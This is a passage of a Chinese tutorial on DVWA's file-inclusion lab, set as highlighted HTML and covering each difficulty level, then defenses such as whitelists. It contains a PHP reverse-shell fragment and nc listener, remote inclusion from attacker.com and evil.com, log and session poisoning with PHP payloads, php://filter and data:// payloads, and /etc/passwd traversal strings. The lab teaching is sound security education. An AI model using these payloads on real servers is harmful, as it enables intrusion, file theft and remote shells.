class="string">&quot;攻击者IP&quot;</span>, <span class="number">4444</span>);</span><br><span class="line"><span class="variable">$proc</span> = <span class="title function_ invoke__">proc_open</span>(<span class="string">&quot;/bin/sh&quot;</span>, [<span class="number">0</span>=&gt;<span class="variable">$sock</span>, <span class="number">1</span>=&gt;<span class="variable">$sock</span>, <span class="number">2</span>=&gt;<span class="variable">$sock</span>], <span class="variable">$pipes</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 攻击者监听 --&gt;</span></span><br><span class="line">nc -lvp 4444</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 包含 --&gt;</span></span><br><span class="line">?page=http://attacker.com/shell.php</span><br></pre></td></tr></table></figure><h4 id="步骤6：日志注入（LFI转RCE）"><a href="#步骤6：日志注入（LFI转RCE）" class="headerlink" title="步骤6：日志注入（LFI转RCE）"></a>步骤6：日志注入（LFI转RCE）</h4><p><strong>原理：</strong><br>将PHP代码写入日志文件，然后通过LFI包含日志文件执行。</p><p><strong>步骤：</strong></p><ol><li><strong>向User-Agent注入PHP代码</strong></li></ol><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/dvwa/vulnerabilities/fi/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>dvwa.local</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>&lt;?php system(&#x27;whoami&#x27;); ?&gt;</span><br></pre></td></tr></table></figure><ol start="2"><li><strong>包含Apache访问日志</strong></li></ol><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/../</span>var<span class="regexp">/log/</span>apache2/access.log</span><br></pre></td></tr></table></figure><ol start="3"><li><strong>结果：日志中的PHP代码被执行</strong></li></ol><p><strong>其他可注入的日志：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="regexp">/var/</span>log<span class="regexp">/apache2/</span>access.log</span><br><span class="line"><span class="regexp">/var/</span>log<span class="regexp">/apache2/</span>error.log</span><br><span class="line"><span class="regexp">/var/</span>log<span class="regexp">/nginx/</span>access.log</span><br><span class="line"><span class="regexp">/var/</span>log<span class="regexp">/nginx/</span>error.log</span><br><span class="line"><span class="regexp">/var/</span>log/auth.log</span><br><span class="line"><span class="regexp">/var/</span>log/mail.log</span><br></pre></td></tr></table></figure><h4 id="步骤7：Session文件包含"><a href="#步骤7：Session文件包含" class="headerlink" title="步骤7：Session文件包含"></a>步骤7：Session文件包含</h4><p><strong>PHP Session文件位置：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="regexp">/var/</span>lib<span class="regexp">/php/</span>sessions/sess_&#123;PHPSESSID&#125;</span><br><span class="line"><span class="regexp">/var/</span>lib<span class="regexp">/php5/</span>sess_&#123;PHPSESSID&#125;</span><br><span class="line"><span class="regexp">/tmp/</span>sess_&#123;PHPSESSID&#125;</span><br></pre></td></tr></table></figure><p><strong>攻击步骤：</strong></p><ol><li>在其他页面向Session写入恶意代码</li><li>包含Session文件执行代码</li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- 在其他页面 --&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;name&#x27;</span>] = <span class="string">&#x27;&lt;?php system(&quot;whoami&quot;); ?&gt;&#x27;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br><span class="line">&lt;!-- 包含session文件 --&gt;</span><br><span class="line">?page=../../../../tmp/sess_&#123;你的PHPSESSID&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了简单的过滤，但可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;page&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：使用str_replace()过滤 ★★★</span></span><br><span class="line"><span class="comment">// str_replace() - 字符串替换函数</span></span><br><span class="line"><span class="comment">// 参数1：要查找的字符串数组</span></span><br><span class="line"><span class="comment">// 参数2：替换成的字符串</span></span><br><span class="line"><span class="comment">// 参数3：被搜索的字符串</span></span><br><span class="line"><span class="comment">// 返回值：替换后的字符串</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 这里过滤了：</span></span><br><span class="line"><span class="comment">// http:// - 防止远程文件包含</span></span><br><span class="line"><span class="comment">// https:// - 防止远程文件包含</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. 只过滤一次，可以双写绕过</span></span><br><span class="line"><span class="comment">// 2. 不过滤../，仍可目录遍历</span></span><br><span class="line"><span class="comment">// 3. 不过滤PHP伪协议</span></span><br><span class="line"><span class="variable">$file</span> = <span class="title function_ invoke__">str_replace</span>( <span class="keyword">array</span>( <span class="string">&quot;http://&quot;</span>, <span class="string">&quot;https://&quot;</span> ), <span class="string">&quot;&quot;</span>, <span class="variable">$file</span> );</span><br><span class="line"></span><br><span class="line"><span class="comment">// 包含文件</span></span><br><span class="line"><span class="keyword">include</span>( <span class="variable">$file</span> );</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>过滤http:&#x2F;&#x2F;</strong> - 防止RFI</li><li><strong>过滤https:&#x2F;&#x2F;</strong> - 防止HTTPS的RFI</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><ol><li><strong>只替换一次</strong> - 可以双写绕过</li><li><strong>不过滤..&#x2F;</strong> - 目录遍历仍有效</li><li><strong>不过滤PHP伪协议</strong> - php:&#x2F;&#x2F;filter等仍可用</li><li><strong>不过滤其他协议</strong> - ftp:&#x2F;&#x2F;, data:&#x2F;&#x2F;等</li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：目录遍历（仍然有效）"><a href="#方法1：目录遍历（仍然有效）" class="headerlink" title="方法1：目录遍历（仍然有效）"></a>方法1：目录遍历（仍然有效）</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?page=..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br><span class="line">?page=..<span class="regexp">/../</span>config/config.inc.php</span><br></pre></td></tr></table></figure><h4 id="方法2：双写绕过"><a href="#方法2：双写绕过" class="headerlink" title="方法2：双写绕过"></a>方法2：双写绕过</h4><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">原始：http://evil.<span class="keyword">com</span>/<span class="keyword">shell</span>.php</span><br><span class="line">被过滤：evil.<span class="keyword">com</span>/<span class="keyword">shell</span>.php</span><br><span class="line"></span><br><span class="line">绕过：hthttp://<span class="keyword">tp</span>://evil.<span class="keyword">com</span>/<span class="keyword">shell</span>.php</span><br><span class="line">处理过程：</span><br><span class="line"><span class="number">1</span>. str_replace(<span class="string">&#x27;http://&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="string">&#x27;hthttp://tp://evil.com/shell.php&#x27;</span>)</span><br><span class="line"><span class="number">2</span>. 结果：http://evil.<span class="keyword">com</span>/<span class="keyword">shell</span>.php</span><br><span class="line"><span class="number">3</span>. 绕过成功！</span><br></pre></td></tr></table></figure><h4 id="方法3：大小写混淆（无效）"><a href="#方法3：大小写混淆（无效）" class="headerlink" title="方法3：大小写混淆（无效）"></a>方法3：大小写混淆（无效）</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- str_replace是大小写敏感的，但这里无效 --&gt;</span></span><br><span class="line">?page=HTTP://evil.com/shell.php  ✗ (仍会被过滤)</span><br><span class="line">?page=Http://evil.com/shell.php  ✗</span><br></pre></td></tr></table></figure><h4 id="方法4：使用PHP伪协议"><a href="#方法4：使用PHP伪协议" class="headerlink" title="方法4：使用PHP伪协议"></a>方法4：使用PHP伪协议</h4><figure class="highlight php-template"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="language-xml"><span class="comment">&lt;!-- 完全有效 --&gt;</span></span></span><br><span class="line"><span class="language-xml">?page=php://filter/convert.base64-encode/resource=index.php</span></span><br><span class="line"><span class="language-xml">?page=php://input</span></span><br><span class="line"><span class="language-xml">?page=data://text/plain,</span><span class="language-php"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="string">&#x27;whoami&#x27;</span>); <span class="meta">?&gt;</span></span></span><br></pre></td></tr></table></figure><h4 id="方法5：使用其他协议"><a href="#方法5：使用其他协议" class="headerlink" title="方法5：使用其他协议"></a>方法5：使用其他协议</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?page=ftp:<span class="regexp">//</span>evil.com/shell.php</span><br><span class="line">?page=file:<span class="regexp">//</span><span class="regexp">/etc/</span>passwd</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>更严格的过滤，但仍可绕过。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;page&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：fnmatch()检查文件名 ★★★</span></span><br><span class="line"><span class="comment">// fnmatch() - 用模式匹配文件名</span></span><br><span class="line"><span class="comment">// 参数1：模式（通配符）</span></span><br><span class="line"><span class="comment">// 参数2：要检查的字符串</span></span><br><span class="line"><span class="comment">// 参数3：可选标志</span></span><br><span class="line"><span class="comment">// 返回值：匹配返回true，否则false</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 模式：file*.php</span></span><br><span class="line"><span class="comment">// file - 文件名必须以file开头</span></span><br><span class="line"><span class="comment">// * - 匹配任意字符</span></span><br><span class="line"><span class="comment">// .php - 必须以.php结尾</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. 只检查文件名格式，不检查路径</span></span><br><span class="line"><span class="comment">// 2. 仍可使用../进行目录遍历</span></span><br><span class="line"><span class="comment">// 3. 可以在file和.php之间插入任意内容</span></span><br><span class="line"><span class="keyword">if</span>( !<span class="title function_ invoke__">fnmatch</span>( <span class="string">&quot;file*&quot;</span>, <span class="variable">$file</span> ) &amp;&amp; <span class="variable">$file</span> != <span class="string">&quot;include.php&quot;</span> ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 不符合格式，返回</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;ERROR: File not found!&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 包含文件</span></span><br><span class="line"><span class="keyword">include</span>( <span class="variable">$file</span> );</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>fnmatch()检查</strong> - 文件名必须以<code>file</code>开头</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>关键问题：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">fnmatch</span>(<span class="string">&quot;file*&quot;</span>, <span class="variable">$file</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查：</span></span><br><span class="line"><span class="string">&quot;file1.php&quot;</span>        ✓ 匹配</span><br><span class="line"><span class="string">&quot;file2.php&quot;</span>        ✓ 匹配</span><br><span class="line"><span class="string">&quot;file../../../etc/passwd&quot;</span>  ✓ 仍然匹配！</span><br></pre></td></tr></table></figure><p><code>fnmatch()</code>只检查文件名模式，不限制路径！</p><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：目录遍历（仍有效）"><a href="#方法1：目录遍历（仍有效）" class="headerlink" title="方法1：目录遍历（仍有效）"></a>方法1：目录遍历（仍有效）</h4><figure class="highlight gradle"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?page=<span class="keyword">file</span>..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br><span class="line">?page=<span class="keyword">file</span>..<span class="regexp">/../</span>..<span class="regexp">/../</span>etc/passwd</span><br><span class="line">?page=<span class="keyword">file</span>..<span class="regexp">/../</span>config/config.inc.php</span><br></pre></td></tr></table></figure><p><strong>原理：</strong></p><figure class="highlight excel"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">输入：file../../../etc/passwd</span><br><span class="line"></span><br><span class="line">fnmatch检查：</span><br><span class="line"><span class="string">&quot;file*&quot;</span> 匹配 <span class="string">&quot;file../../../etc/passwd&quot;</span>  ✓</span><br><span class="line"></span><br><span class="line">include执行：</span><br><span class="line">include(<span class="string">&quot;file../../../etc/passwd&quot;</span>);</span><br><span class="line"></span><br><span class="line">实际路径：</span><br><span class="line">当前目录/file../../../etc/passwd</span><br><span class="line">= 当前目录/../../../etc/passwd</span><br><span class="line">= /etc/passwd</span><br><span class="line"></span><br><span class="line">成功读取！</span><br></pre></td></tr></table></figure><h4 id="方法2：结合NULL字节（PHP-lt-5-3-4）"><a href="#方法2：结合NULL字节（PHP-lt-5-3-4）" class="headerlink" title="方法2：结合NULL字节（PHP &lt; 5.3.4）"></a>方法2：结合NULL字节（PHP &lt; 5.3.4）</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">?page=file1.php%00../../etc/passwd</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- NULL字节会截断 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 检查：file1.php --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 实际包含：file1.php（%00后面被忽略） --&gt;</span></span><br><span class="line"></span><br><span class="line">注意：PHP 5.3.4+已修复此漏洞</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用白名单验证，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;page&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护：白名单验证 ★★★</span></span><br><span class="line"><span class="comment">// 定义允许的文件数组</span></span><br><span class="line"><span class="comment">// 只有在这个数组中的文件才能被包含</span></span><br><span class="line"><span class="variable">$allowed_files</span> = <span class="keyword">array</span>(</span><br><span class="line">    <span class="string">&#x27;include.php&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;file1.php&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;file2.php&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;file3.php&#x27;</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 检查文件是否在白名单中 ★★★</span></span><br><span class="line"><span class="comment">// in_array() - 检查数组中是否存在某个值</span></span><br><span class="line"><span class="comment">// 参数1：要查找的值</span></span><br><span class="line"><span class="comment">// 参数2：数组</span></span><br><span class="line"><span class="comment">// 参数3：是否严格比较（可选）</span></span><br><span class="line"><span class="comment">// 返回值：存在返回true，否则false</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 作用：只允许白名单中的文件</span></span><br><span class="line"><span class="comment">// 任何不在列表中的文件都会被拒绝</span></span><br><span class="line"><span class="keyword">if</span>( !<span class="title function_ invoke__">in_array</span>( <span class="variable">$file</span>, <span class="variable">$allowed_files</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 不在白名单中，拒绝</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;ERROR: File not found!&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 白名单验证通过，安全包含 ★★★</span></span><br><span class="line"><span class="keyword">include</span>( <span class="variable">$file</span> );</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>白名单工作原理：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">允许的文件：</span><br><span class="line">- <span class="keyword">include</span>.php</span><br><span class="line">- file1.php</span><br><span class="line">- file2.php</span><br><span class="line">- file3.php</span><br><span class="line"></span><br><span class="line">用户输入：file1.php</span><br><span class="line"><span class="title function_ invoke__">in_array</span>(<span class="string">&#x27;file1.php&#x27;</span>, <span class="variable">$allowed_files</span>) → <span class="literal">true</span> ✓</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&#x27;file1.php&#x27;</span>) → 执行</span><br><span class="line"></span><br><span class="line">用户输入：../../../etc/passwd</span><br><span class="line"><span class="title function_ invoke__">in_array</span>(<span class="string">&#x27;../../../etc/passwd&#x27;</span>, <span class="variable">$allowed_files</span>) → <span class="literal">false</span> ✗</span><br><span class="line">拒绝！</span><br><span class="line"></span><br><span class="line">用户输入：file1.php%<span class="number">00</span>../../etc/passwd</span><br><span class="line"><span class="title function_ invoke__">in_array</span>(<span class="string">&#x27;file1.php%00../../etc/passwd&#x27;</span>, <span class="variable">$allowed_files</span>) → <span class="literal">false</span> ✗</span><br><span class="line">拒绝！</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被拒绝：</strong></p><figure class="highlight gradle"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">尝试<span class="number">1</span>：..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br><span class="line">in_array() → <span class="keyword">false</span></span><br><span class="line">结果：ERROR: <span class="keyword">File</span> not found!</span><br><span class="line"></span><br><span class="line">尝试<span class="number">2</span>：<span class="keyword">file</span>..<span class="regexp">/../</span>..<span class="regexp">/etc/</span>passwd</span><br><span class="line">in_array() → <span class="keyword">false</span></span><br><span class="line">结果：ERROR: <span class="keyword">File</span> not found!</span><br><span class="line"></span><br><span class="line">尝试<span class="number">3</span>：php:<span class="comment">//filter/...</span></span><br><span class="line">in_array() → <span class="keyword">false</span></span><br><span class="line">结果：ERROR: <span class="keyword">File</span> not found!</span><br><span class="line"></span><br><span class="line">尝试<span class="number">4</span>：http:<span class="comment">//evil.com/shell.php</span></span><br><span class="line">in_array() → <span class="keyword">false</span></span><br><span class="line">结果：ERROR: <span class="keyword">File</span> not found!</span><br><span class="line"></span><br><span class="line">尝试<span class="number">5</span>：data:<span class="comment">//...</span></span><br><span class="line">in_array() → <span class="keyword">false</span></span><br><span class="line">结果：ERROR: <span class="keyword">File</span> not found!</span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>白名单机制</strong> - 只允许明确列出的文件</li><li><strong>完全匹配</strong> - 必须完全相同，无法部分匹配</li><li><strong>无路径解析</strong> - 不解析..&#x2F;或其他路径操作</li><li><strong>拒绝一切未知</strong> - 默认拒绝策略</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-使用白名单（最佳方案）"><a href="#1-使用白名单（最佳方案）" class="headerlink" title="1. 使用白名单（最佳方案）"></a>1. 使用白名单（最佳方案）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义允许的文件</span></span><br><span class="line"><span class="variable">$whitelist</span> = [<span class="string">&#x27;page1.php&#x27;</span>, <span class="string">&#x27;page2.php&#x27;</span>, <span class="string">&#x27;page3.php&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;page&#x27;</span>], <span class="variable">$whitelist</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid page&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;page&#x27;</span>]);</span><br></pre></td></tr></table></figure><h4 id="2-禁用危险功能"><a href="#2-禁用危险功能" class="headerlink" title="2. 禁用危险功能"></a>2. 禁用危险功能</h4><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; php.ini配置</span></span><br><span class="line"><span class="attr">allow_url_fopen</span> = <span class="literal">Off</span>    <span class="comment">; 禁止URL文件访问</span></span><br><span class="line"><span class="attr">allow_url_include</span> = <span class="literal">Off</span>  <span class="comment">; 禁止URL文件包含</span></span><br></pre></td></tr></table></figure><h4 id="3-使用basename-限制路径"><a href="#3-使用basename-限制路径" class="headerlink" title="3. 使用basename()限制路径"></a>3. 使用basename()限制路径</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// basename() - 返回路径中的文件名部分</span></span><br><span class="line"><span class="comment">// 去除目录路径</span></span><br><span class="line"><span class="variable">$file</span> = <span class="title function_ invoke__">basename</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;page&#x27;</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 只会包含当前目录的文件</span></span><br><span class="line"><span class="comment">// ../../../etc/passwd → passwd</span></span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$file</span> . <span class="string">&#x27;.php&#x27;</span>);</span><br></pre></td></tr></table></figure><h4 id="4-限制包含目录"><a href="#4-限制包含目录" class="headerlink" title="4. 限制包含目录"></a>4. 限制包含目录</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// realpath() - 返回规范化的绝对路径</span></span><br><span class="line"><span class="comment">// 会解析../等符号</span></span><br><span class="line"><span class="variable">$base_dir</span> = <span class="string">&#x27;/var/www/html/includes/&#x27;</span>;</span><br><span class="line"><span class="variable">$file</span> = <span class="title function_ invoke__">realpath</span>(<span class="variable">$base_dir</span> . <span class="variable">$_GET</span>[<span class="string">&#x27;page&#x27;</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查文件是否在允许的目录中</span></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$file</span>, <span 